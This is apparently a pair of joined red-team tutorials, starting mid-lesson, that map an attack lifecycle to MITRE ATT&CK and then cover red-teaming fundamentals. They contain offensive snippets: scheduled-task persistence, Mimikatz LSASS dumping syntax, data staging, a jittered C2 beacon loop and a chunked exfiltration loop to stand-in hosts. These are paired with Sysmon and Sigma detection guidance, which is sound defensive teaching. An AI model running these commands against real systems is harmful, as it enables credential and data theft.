Passive OSINT pulls from public data sources: WHOIS, Shodan, LinkedIn, and certificate transparency logs (T1590, T1589, T1593). Certificate transparency is especially valuable for surfacing subdomains and shadow infrastructure.
# Enumerate subdomains from certificate transparency logs (T1590)
curl -s "https://crt.sh/?q=%25.example.com&output=json" \
| jq -r '.[].name_value' | sort -u
# Passive registration metadata (T1590)
whois example.com | grep -Ei 'Registrar|Name Server|Creation'Active Scanning (T1595) — port and service discovery with tools like Nmap — is the most prominent Reconnaissance technique and the first activity that generates target-side telemetry.
Resource Development (TA0042) prepares the operational toolkit: acquiring infrastructure (T1583), establishing accounts (T1585), and obtaining or developing capabilities (T1588, T1587). For a red team this means standing up redirectors, C2 servers, and phishing domains before any contact with the target.

4. Initial Access (TA0001)
Initial Access (TA0001) is the most frequently employed tactic — it establishes the adversarial foothold. The dominant techniques are Phishing (T1566) and Valid Accounts (T1078), the latter gaining significant prominence in 2024.
| Technique | MITRE ID | Foothold Vector |
|---|---|---|
| Spearphishing Attachment | T1566.001 | Weaponized document delivered by email |
| Spearphishing Link | T1566.002 | Credential-harvesting or payload URL |
| Exploit Public-Facing Application | T1190 | Vulnerable internet-facing service |
| External Remote Services | T1133 | Exposed VPN/RDP/Citrix gateway |
| Valid Accounts | T1078 | Reused or leaked credentials |
In a typical spearphishing scenario, a pretext email lures a user (T1204, User Execution) into opening an attachment that spawns a child process — the handoff point into the Execution tactic.
5. Execution & Persistence (TA0002, TA0003)
Execution (TA0002) runs adversary-controlled code on the host. Command and Scripting Interpreter (T1059) — particularly PowerShell (T1059.001) and the Windows command shell (T1059.003) — is the workhorse, alongside WMI (T1047) and scheduled tasks (T1053).
Persistence (TA0003) ensures the foothold survives reboots and logoffs. Common techniques are Boot or Logon Autostart Execution (T1547) and Scheduled Task/Job (T1053.005). The following illustrates a benign scheduled-task persistence pattern and the events it generates.
# Illustrative persistence via scheduled task (T1053.005)
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-NoProfile -File C:\ProgramData\update.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "SystemUpdateCheck" `
-Action $action -Trigger $trigger -RunLevel HighestThis single command produces Windows Event ID 4698 (scheduled task created) and Sysmon Event ID 1 (process creation) with powershell.exe as the task action — a high-fidelity detection pair.
6. Privilege Escalation, Defense Evasion & Credential Access (TA0004, TA0005, TA0006)
Privilege Escalation (TA0004) seeks elevated rights via Process Injection (T1055), Valid Accounts (T1078), and Create or Modify System Process (T1543). Defense Evasion (TA0005) then hides the activity — Indicator Removal (T1070) clears event logs, and Impair Defenses (T1562) disables security tooling.
Credential Access (TA0006) harvests authentication material. OS Credential Dumping: LSASS Memory (T1003.001) reads cleartext credentials and hashes from the LSASS process. The Mimikatz syntax below is a reference for understanding what the technique reads, not a functional payload.
# Mimikatz syntax reference — LSASS memory read (T1003.001)
privilege::debug # acquire SeDebugPrivilege
sekurlsa::logonpasswords # parse credential material from LSASS memoryThe cross-process read of lsass.exe is exactly what Sysmon Event ID 10 (ProcessAccess) is tuned to catch, typically on a GrantedAccess mask of 0x1410.
7. Discovery (TA0007)
Discovery (TA0007) maps the internal environment once inside. Built-in commands provide low-noise enumeration of accounts (T1087), permission groups (T1069), remote systems (T1018), and host configuration (T1082, T1016).
# Internal recon mapped to Discovery techniques
whoami /all # T1033 — user, groups, privileges
Get-ADUser -Filter * # T1087 — domain accounts
Get-ADGroupMember "Domain Admins" # T1069 — privileged group membership
nltest /domain_trusts # T1482 — trust relationships
Get-ADComputer -Filter * # T1018 — remote systemsGraph-based AD enumeration with SharpHound (the BloodHound collector) accelerates this phase by mapping attack paths to high-value objects. Because SharpHound queries many hosts in rapid succession, it surfaces in Sysmon Event ID 3 (network connection) as a fan-out of LDAP and SMB connections from a single process.
8. Lateral Movement (TA0008)
Lateral Movement (TA0008) expands the foothold toward sensitive systems after internal reconnaissance. In Windows-heavy environments the primary techniques are:
| Technique | MITRE ID | Port / Mechanism |
|---|---|---|
| Remote Desktop Protocol | T1021.001 | TCP 3389 |
| SMB / Windows Admin Shares | T1021.002 | TCP 445 (ADMIN$, C$) |
| Windows Remote Management | T1021.006 | TCP 5985/5986 (WinRM) |
| Pass the Hash | T1550.002 | NTLM hash reuse |
| Kerberoasting | T1558.003 | TGS request for service accounts |
Pass the Hash reuses a captured NTLM hash to authenticate without the plaintext password. Kerberoasting requests service tickets for accounts with SPNs, then cracks them offline. A Ticket Encryption Type of 0x17 (RC4-HMAC) instead of 0x12 (AES256) across many Windows Event ID 4769 records in a short window is a strong Kerberoasting indicator. SMB-based movement via PsExec also leaves Sysmon Event ID 17/18 named-pipe artifacts.

9. Collection & Command and Control (TA0009, TA0011)
Collection (TA0009) gathers target data prior to exfiltration: Data from Local System (T1005), Data from Network Shared Drive (T1039), Email Collection (T1114), and Automated Collection (T1119). Collected data is then archived (T1560) to shrink and obscure it.
# Staging collected data (T1560) before exfiltration
Compress-Archive -Path C:\Users\jdoe\Documents\*.docx `
-DestinationPath C:\ProgramData\stage.zip
certutil -encode C:\ProgramData\stage.zip C:\ProgramData\stage.b64Command and Control (TA0011) maintains the operator channel. Application Layer Protocol: Web Protocols (T1071.001) blends C2 into normal HTTPS, defeating deep packet inspection; Encrypted Channel (T1573) and Protocol Tunneling (T1572) add further cover. Mature implants beacon low-and-slow with jittered sleep to evade volumetric detection.
# Conceptual HTTPS beacon loop (T1071.001) — illustrative, not implant code
import time, random, requests
while True:
task = requests.get("https://cdn.example-c2.test/poll", verify=True)
# ... process task, return results out-of-band ...
sleep = 60 + random.randint(-15, 15) # jitter to flatten beacon timing
time.sleep(sleep)10. Exfiltration (TA0010)
In Exfiltration (TA0010) the adversary steals the staged data. Because data is already collected and archived, the focus is moving it out without tripping volume or destination alarms.
| Technique | MITRE ID | Channel |
|---|---|---|
| Exfiltration Over C2 Channel | T1041 | Existing C2 path |
| Exfiltration Over Web Service | T1567 | Cloud storage / SaaS |
| Exfiltration Over Alternative Protocol | T1048 | DNS, FTP, etc. |
| Automated Exfiltration | T1020 | Scripted transfer |
| Scheduled Transfer | T1029 | Timed to blend with traffic |
| Data Transfer Size Limits | T1030 | Chunking to stay under thresholds |
Exfiltration Over Web Service (T1567) is favored because hosts already communicate with popular SaaS providers, firewall rules likely permit that traffic, and provider SSL/TLS hides the payload. Chunking (T1030) keeps each transfer below detection thresholds.
# Conceptual chunked exfil over a web service (T1567 + T1030) — illustrative
CHUNK = 512 * 1024 # cap per request to stay under size thresholds
with open("stage.b64", "rb") as f:
while (block := f.read(CHUNK)):
requests.post("https://storage.example-saas.test/upload",
data=block, verify=True)
11. Common Attacker Techniques Across the Lifecycle
| Technique | Description |
|---|---|
Active Scanning (T1595) | Enumerate exposed services and vulnerable software |
Phishing (T1566) | Deliver payloads or harvest credentials via email |
PowerShell Execution (T1059.001) | Run fileless tooling in-memory |
Scheduled Task Persistence (T1053.005) | Survive reboot via task triggers |
LSASS Dumping (T1003.001) | Extract credentials from process memory |
Pass the Hash (T1550.002) | Reuse NTLM hashes for lateral auth |
Kerberoasting (T1558.003) | Crack service-account tickets offline |
Web Protocol C2 (T1071.001) | Hide command channel in HTTPS |
Exfil Over Web Service (T1567) | Steal data through trusted SaaS |
12. Defensive Strategies & Detection
Detection is most effective when Sysmon events are chained across phases rather than alerted in isolation.
| Sysmon Event ID | Catches | Lifecycle Phase |
|---|---|---|
1 | Process creation | Execution, Discovery, Lateral Movement |
3 | Network connection | Recon fan-out, C2, exfil volume |
7 | Image load | DLL injection into svchost.exe/explorer.exe |
10 | Process access | LSASS dumping (T1003.001) |
11 | File create | Staging (*.zip), ticket exfil (*.kirbi) |
17/18 | Named pipe create/connect | PsExec / SMB movement |
22 | DNS query | Abnormal lookups during recon/C2 |
Pair Sysmon with Windows Security auditing: Event 4624 (logon), 4688 (process + command line), 4698 (scheduled task), 4769 (Kerberos service ticket — watch for 0x17), and 5140/5156 (share access and allowed connections). Enable Audit Process Creation with command-line logging, PowerShell Script Block Logging, and Audit Kerberos Service Ticket Operations. ETW providers such as Microsoft-Windows-PowerShell, Microsoft-Windows-Kernel-Network, and Microsoft-Windows-SMBClient deepen visibility.
A representative Sigma rule chains suspicious PowerShell with an outbound connection:
title: PowerShell Process With Outbound Network Connection
logsource:
product: windows
service: sysmon
detection:
proc:
EventID: 1
Image|endswith: '\powershell.exe'
CommandLine|contains:
- '-enc'
- 'DownloadString'
- 'IEX'
net:
EventID: 3
Image|endswith: '\powershell.exe'
condition: proc and net
level: highMITRE ATT&CK mapping for the primary abuse primitives:
| Technique | MITRE ID | Detection |
|---|---|---|
| Process Injection | T1055 | Sysmon Event ID 7/10 |
| LSASS Memory Dumping | T1003.001 | Sysmon Event ID 10, GrantedAccess 0x1410 |
| Scheduled Task | T1053.005 | Event ID 4698, Sysmon Event ID 1 |
| Kerberoasting | T1558.003 | Event ID 4769, RC4 (0x17) tickets |
| Pass the Hash | T1550.002 | Event ID 4624 type 3 + NTLM anomalies |
| Web Protocol C2 | T1071.001 | Sysmon Event ID 3/22 beacon timing |
| Exfil Over Web Service | T1567 | Sysmon Event ID 3 + DLP egress volume |
Hardening per phase: minimize public attack surface and monitor certificate transparency; enforce MFA and patch internet-facing services (T1190); deploy Sysmon with Windows Event Forwarding to a SIEM; segment networks to restrict RDP/SMB; enable Credential Guard and AES256 Kerberos to eliminate RC4 Kerberoasting; and apply DLP with egress filtering against cloud-storage exfiltration.

13. Tools for Attack Lifecycle Analysis
| Tool | Description | Link |
|---|---|---|
| Sysmon | High-fidelity endpoint event logging | microsoft.com |
| ATT&CK Navigator | Visualize technique coverage and gaps | mitre-attack.github.io |
| BloodHound / SharpHound | Map AD attack paths (and detect them) | bloodhound.specterops.io |
| Volatility | Memory forensics for injection/LSASS access | volatilityfoundation.org |
| Sigma | Vendor-neutral detection rule format | sigmahq.io |
| Nmap | Active scanning and service discovery | nmap.org |
| Wireshark | Inspect C2 and exfil network traffic | wireshark.org |
For an engagement debrief, encode the simulated operation as an ATT&CK Navigator layer so the blue team can see exactly which techniques were exercised and where coverage was missing:
{
"name": "Lifecycle Engagement - 2024",
"domain": "enterprise-attack",
"techniques": [
{ "techniqueID": "T1595", "score": 100, "color": "#e60d0d" },
{ "techniqueID": "T1566", "score": 100, "color": "#e60d0d" },
{ "techniqueID": "T1059", "score": 100, "color": "#e60d0d" },
{ "techniqueID": "T1003", "score": 100, "color": "#e60d0d" },
{ "techniqueID": "T1021", "score": 75, "color": "#f4a442" },
{ "techniqueID": "T1071", "score": 75, "color": "#f4a442" },
{ "techniqueID": "T1567", "score": 100, "color": "#e60d0d" }
]
}Summary
- The attack lifecycle is a continuous chain of ATT&CK tactics — Reconnaissance to Exfiltration — that red teams emulate and blue teams measure with the same technique IDs.
- Early phases (
TA0043,TA0042,TA0001) establish a foothold through scanning, phishing, and valid-account abuse, while mid-chain phases escalate, evade, and harvest credentials (T1055,T1003.001,T1558.003). - Lateral movement (
T1021,T1550.002) and C2 (T1071.001) expand and sustain access before staged data is archived (T1560) and exfiltrated over trusted channels (T1041,T1567). - Detection works best by chaining Sysmon events (
1,3,10,11,17/18,22) with Windows audit IDs (4688,4698,4769) and Sigma rules across phases. - Map every emulated technique into an ATT&CK Navigator layer to expose detection gaps and drive defensive hardening.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
- Reconnaissance, Tactic TA0043 – Enterprise | MITRE ATT&CK®
- Exfiltration, Tactic TA0010 – Enterprise | MITRE ATT&CK®
- Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
- Exfiltration Over Web Service, Technique T1567 – Enterprise | MITRE ATT&CK®
- What is the MITRE ATT&CK Framework? | Microsoft Security
- Red Teaming and MITRE ATT&CK | Red Team Development and Operations
Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
Objective: Understand what a red team engagement actually is, how it differs from vulnerability assessment and penetration testing, the adversarial mindset and methodologies that structure it, the typology of engagement formats, and how every offensive action maps back to MITRE ATT&CK to produce measurable defender value.
1. What Red Teaming Actually Is
Red teaming is objective-driven adversary simulation that tests an organization’s detection and response capability — not an exhaustive enumeration of every vulnerability. A penetration test prioritizes coverage of the attack surface; a red team engagement prioritizes realism and a targeted goal: reaching high-value assets such as executive workstations, code repositories, or financial systems while remaining undetected.
| Term | Precise Meaning |
|---|---|
| Vulnerability Assessment | Automated/semi-automated enumeration of known weaknesses; no exploitation |
| Penetration Test | Scoped, time-boxed exploitation to confirm impact; goal is coverage |
| Red Team Engagement | Objective-driven, adversary-realistic campaign testing detection & response |
| Adversary Emulation | Red team constrained to a specific threat actor’s documented TTPs, mapped to ATT&CK |
| Purple Team Exercise | Collaborative, transparent session where red and blue tune specific techniques together |
The defining trait: red team engagements deliberately do not seek full coverage. They genuinely test whether the organization can block or detect an attack chain, which is why they are the longest-running of all assessment types — stealth and patience are part of the deliverable.
2. The Adversarial Mindset
A red operator thinks objective-first, not checklist-first. Compliance testing asks “is this control present?” Adversarial thinking asks “what is the cheapest path to the crown jewels that the SOC will not see?”
Three mental anchors define the mindset:
- Objective-first — every action serves a defined goal (data, access, impact). Noise that does not advance the objective is risk.
- Stealth-conscious — assume the environment is instrumented. Prefer living-off-the-land over noisy tooling; pace operations to blend with baseline activity.
- Iterative — reconnaissance, hypothesis, action, observation, adapt. A blocked path is intelligence, not a dead end.
The premise underpinning modern engagements is assume breach: perimeter compromise is treated as inevitable, so the real measurement is how fast the defender detects and contains post-compromise activity.
3. Industry Methodologies
Red teaming inherits structure from established testing methodologies, then layers ATT&CK on top for adversary realism.
| Methodology | Focus |
|---|---|
| PTES | Seven-phase end-to-end execution model |
| OSSTMM | Operational security measurement and metrics |
| NIST SP 800-115 | Technical guide to information security testing |
PTES (Penetration Testing Execution Standard) provides the canonical seven phases:
- Pre-engagement Interactions — scope, objectives, rules of engagement, timelines, legal/compliance
- Intelligence Gathering — reconnaissance, OSINT, passive and active scanning
- Threat Modeling
- Vulnerability Analysis
- Exploitation
- Post-Exploitation
- Reporting
These methodologies describe how to test; ATT&CK describes how adversaries behave. A red team uses PTES/NIST for process discipline and ATT&CK as the operating language to choose and document technique-level actions.
4. Engagement Types Deep Dive
Engagement format is chosen by organizational maturity and the question being answered.
| Engagement Type | Definition |
|---|---|
| Full Scope (Black Box) | Simulates a real attacker against the entire environment; no insider knowledge granted |
| Assumed Breach | Starts inside the network to measure post-compromise detection and containment speed |
| Objective-Based | Targets a specific outcome or asset without a full organizational assessment |
| Threat-Informed | Mirrors the TTPs of adversaries most likely to target the industry (adversary emulation) |
| Purple Team | Collaborative, shared-visibility execution with a debrief after each TTP |
In an Assumed Breach, the client grants the foothold — executing a payload, issuing a single-use VPN or VDI session, or staging a “stolen laptop” scenario — so the team skips Initial Access and focuses on post-exploitation.
Knowledge levels cut across all formats:
| Level | Information Provided |
|---|---|
| Black box | None; no insider/privileged information |
| Grey box | Limited (e.g., network diagrams, low-priv credentials, no source) |
| White box | Full system and security-control information (typical for Assumed Breach) |
Low-maturity orgs benefit most from purple or objective-based work; mature orgs with a functioning SOC gain the most from full-scope, unannounced engagements.

5. MITRE ATT&CK as the Red Team Operating Language
MITRE ATT&CK is a globally recognized knowledge base of adversary tactics and techniques built from real-world observations. It gives red and blue a common language: tactics are the adversary’s objectives, techniques are how they achieve them, and procedures are the specific implementations.
The Enterprise Matrix spans Windows, macOS, Linux, and cloud, organized into 14 tactics: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact.
ATT&CK Navigator lets teams annotate technique coverage as a JSON layer — color and score per technique — to track what was attempted, alerted, or blocked.
{
"name": "Engagement-2024 Coverage",
"domain": "enterprise-attack",
"techniques": [
{ "techniqueID": "T1566.001", "score": 100, "color": "#e60d0d", "comment": "Initial access - undetected" },
{ "techniqueID": "T1059.001", "score": 50, "color": "#fce93a", "comment": "Executed - alerted, not blocked" },
{ "techniqueID": "T1003.001", "score": 0, "color": "#31a354", "comment": "Blocked by Credential Guard" }
]
}Although ATT&CK was created to support adversary emulation, it is equally valuable to blue teams for detection, hunting, and response — which is precisely why red teams document in ATT&CK terms.
6. The Engagement Lifecycle
The Red Team Guide condenses execution into three macro-phases: gain access, establish persistence, and perform operational impact. Expanded against ATT&CK tactics, the flow is:
Pre-Engagement ──► Recon ──► Initial Access ──► Execution ──► Persistence
(RoE/SoW) (TA0043) (TA0001) (TA0002) (TA0003)
│
▼
Debrief/Report ◄── Exfiltration ◄── Collection ◄── Lateral Move ◄── Priv Esc
(ATT&CK map) (TA0010) (TA0009) (TA0008) (TA0004)Each phase produces a deliverable: pre-engagement yields the signed scope and RoE; recon yields a target profile; exploitation yields proof-of-access artifacts; reporting yields the ATT&CK-mapped findings and detection-gap backlog.

7. Rules of Engagement and Pre-Engagement
No packet is sent without written authorization. The Rules of Engagement (RoE) and Statement of Work define the legal and operational guardrails. A minimal RoE skeleton:
RULES OF ENGAGEMENT — <Client> / <Vendor>
1. Scope (in-bounds): IP ranges, domains, cloud tenants, physical sites
2. Out-of-Scope: Systems/data explicitly forbidden (e.g., prod payroll)
3. Authorized Actions: Exploitation? Lateral movement? Data exfil simulation?
4. Notification State: Announced | Unannounced (does SOC know?)
5. Deconfliction: 24/7 emergency contact, get-out-of-jail signal phrase
6. Data Handling: Treatment of sensitive data encountered mid-op
7. Engagement Window: Start/end dates, permitted hours
8. Legal Authorization: Signatures, SoW reference, indemnificationThe deconfliction channel and notification state are non-negotiable: they prevent a real incident response from spinning up against an authorized test and define whether the blue team is being tested blind.
8. Reconnaissance — Passive Versus Active
ATT&CK separates passive collection from active probing. T1596 (Search Open Technical Databases) sends no traffic to the target — it queries third-party indexes. T1595 (Active Scanning) probes victim infrastructure directly and is noisier and higher-risk.
import shodan, whois # read-only OSINT libraries
api = shodan.Shodan("<authorized-engagement-key>")
# Passive WHOIS lookup — registrar/registration metadata only
record = whois.whois("scoped-target.example")
print(record.registrar, record.creation_date)
# Query Shodan's EXISTING index — no packets sent to the target host
host = api.host("203.0.113.10")
for service in host["data"]:
print(service["port"], service["product"])Passive recon is favored early because it leaves no trace in the target’s telemetry. Active scanning is sequenced only when scope and stealth budget permit, since it surfaces in firewall and IDS logs.
9. Adversary Emulation and the Tooling Ecosystem
Threat-informed engagements use Adversary Emulation Plans — MITRE prototype documents built from public threat reports — so operators behave like a specific group (e.g., APT29, FIN7), sticking to that actor’s known TTPs with latitude in implementation.
| Tool | Role |
|---|---|
| MITRE CALDERA | Automated post-compromise emulation driven by an ATT&CK-based adversary model |
| Atomic Red Team | Library of small, focused tests mapping one-to-one to ATT&CK techniques |
| Cobalt Strike / Sliver / Havoc | C2 frameworks that simulate adversary command-and-control channels (conceptual) |
| ATT&CK Navigator | Visualizes technique coverage and compares threat profiles |
Atomic Red Team enables unit-style TTP testing. The pattern below runs a benign discovery technique on a lab VM to validate telemetry — it produces no harm:
# Lab VM only - benign discovery, no exploitation
Import-Module Invoke-AtomicRedTeam
# T1016 - System Network Configuration Discovery
Invoke-AtomicTest T1016 -ShowDetails
Invoke-AtomicTest T1016 -TestNumbers 1 # runs: ipconfig /all, route print10. Red, Blue, and Purple Team Dynamics
The mode of collaboration defines the exercise. In an unannounced red team, the blue team is blind — this measures real-world detection. In a purple team, red and blue share visibility and debrief after each TTP, maximizing tradecraft coverage and detection tuning.
| Mode | Information Sharing | Best For |
|---|---|---|
| Red (unannounced) | None until debrief | Measuring true SOC detection/response |
| Red (announced) | Blue knows test is occurring | Controlled validation, reduced IR risk |
| Purple | Full, real-time | Rapid detection engineering, low-maturity uplift |
Purple is the fastest route to closing gaps; unannounced red is the truest measure of readiness. Mature programs alternate between them.

11. Common Attacker Techniques
A red team chains techniques across tactics. A canonical illustrative chain for teaching — not a how-to — runs:
T1566.001 Spearphishing Attachment → T1059.001 PowerShell → T1003.001 LSASS Memory → T1021.002 SMB/Admin Shares → T1048.003 Exfiltration Over Non-C2 Protocol.
| Technique | Description |
|---|---|
| Phishing | Spearphishing attachment as initial access vector |
| Valid Accounts | Credential abuse; the assumed-breach entry point |
| PowerShell Execution | Most-observed Execution interpreter in intrusions |
| Process Injection | Stealth execution and defense evasion primitive |
| Credential Dumping | LSASS memory access for lateral movement material |
| Lateral Movement | SMB/admin shares to reach high-value hosts |
MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Spearphishing Attachment | T1566.001 | Mail gateway, attachment sandboxing |
| Valid Accounts | T1078 | Anomalous logon, Security EID 4624 |
| PowerShell | T1059.001 | Script Block Logging EID 4104, AMSI |
| Process Injection | T1055 | Sysmon EID 7/EID 8 |
| LSASS Memory | T1003.001 | Sysmon EID 10 GrantedAccess |
| SMB/Admin Shares | T1021.002 | EID 5145, logon type 3 |
| Web Protocol C2 | T1071.001 | Sysmon EID 3, proxy logs |
| Exfil Over C2 | T1041 | Sysmon EID 3, egress volume |

12. Defensive Strategies and Detection
A red team’s value is realized only when the blue team instruments the environment to measure it. Deploy Sysmon with a tuned config and enable the relevant audit policies.
| Event ID | What It Captures |
|---|---|
Event ID 1 | Process Create — execution lineage |
Event ID 3 | Network Connection — beaconing / C2 callouts |
Event ID 7 | Image Loaded — DLL load (injection detection) |
Event ID 11 | File Create — drops to disk |
Event ID 22 | DNS Query — DNS-based C2 / tunneling |
Enable Audit Process Creation (feeds Sysmon EID 1 and Security EID 4688 with command-line logging), Audit Logon Events for credential-based lateral movement, Audit Object Access for exfiltration/persistence, and Audit Privilege Use for escalation. Key ETW providers include Microsoft-Windows-Kernel-Process, Microsoft-Windows-DNS-Client, AMSI, and Microsoft-Windows-PowerShell.
A foundational Sigma sketch for surfacing reconnaissance commands in process-creation telemetry:
title: Red Team Awareness - Host & Domain Discovery Commands
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688
CommandLine|contains:
- 'ipconfig /all'
- 'route print'
- 'net group "Domain Admins"'
condition: selection
level: lowAfter the engagement, generate a coverage report and feed it into ATT&CK Navigator to drive a prioritized detection backlog:
TACTICS = {
"T1596": "Reconnaissance", "T1566.001": "Initial Access",
"T1059.001": "Execution", "T1003.001": "Credential Access",
"T1021.002": "Lateral Movement", "T1041": "Exfiltration",
}
detected = {"T1059.001", "T1003.001"} # techniques the SOC alerted on
for tid, tactic in TACTICS.items():
status = "HIT" if tid in detected else "GAP"
print(f"[{status}] {tactic:20} {tid}")Adopt an assume-breach posture: segment networks so lateral movement is detectable and costly, enable PowerShell Script Block Logging via GPO, and turn on command-line auditing. Map successful detections and missed techniques back to the ATT&CK matrix to build the remediation backlog.
13. Tools for Red Team Operations
| Tool | Description | Link |
|---|---|---|
| MITRE CALDERA | Automated ATT&CK-based adversary emulation | caldera.mitre.org |
| Atomic Red Team | Unit tests per ATT&CK technique | atomicredteam.io |
| ATT&CK Navigator | Coverage visualization and planning | attack.mitre.org |
| Sysmon | Deep process/network/file telemetry | sysinternals.com |
| Sigma | Vendor-agnostic detection rule format | sigmahq.io |
| Volatility | Memory forensics for post-engagement analysis | volatilityfoundation.org |
Summary
- Red teaming is objective-driven adversary simulation that measures detection and response — not exhaustive vulnerability enumeration.
- The adversarial mindset is objective-first, stealth-conscious, and iterative, anchored on an assume-breach premise.
- Engagement type (full scope, assumed breach, objective-based, threat-informed, purple) is chosen by organizational maturity and the question being asked.
- MITRE ATT&CK’s 14 tactics provide the common language that lets red document operations and blue translate findings into detections.
- Every offensive TTP is paired with Sysmon/audit telemetry and an ATT&CK-mapped debrief that produces a prioritized detection-gap backlog.
Related Tutorials
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
- OPSEC Principles for Red Teamers: Staying Undetected
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
References
- Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
- Adversary Emulation Plans | MITRE ATT&CK®
- Azure Security Control: Penetration Tests and Red Team Exercises | Microsoft Learn
- Microsoft AI Red Team: Building the Future of Safer AI | Microsoft Security Blog
- Getting Started with ATT&CK: Adversary Emulation and Red Teaming | MITRE ATT&CK® (Medium)
- Planning Red Teaming for Large Language Models and Their Applications | Microsoft Learn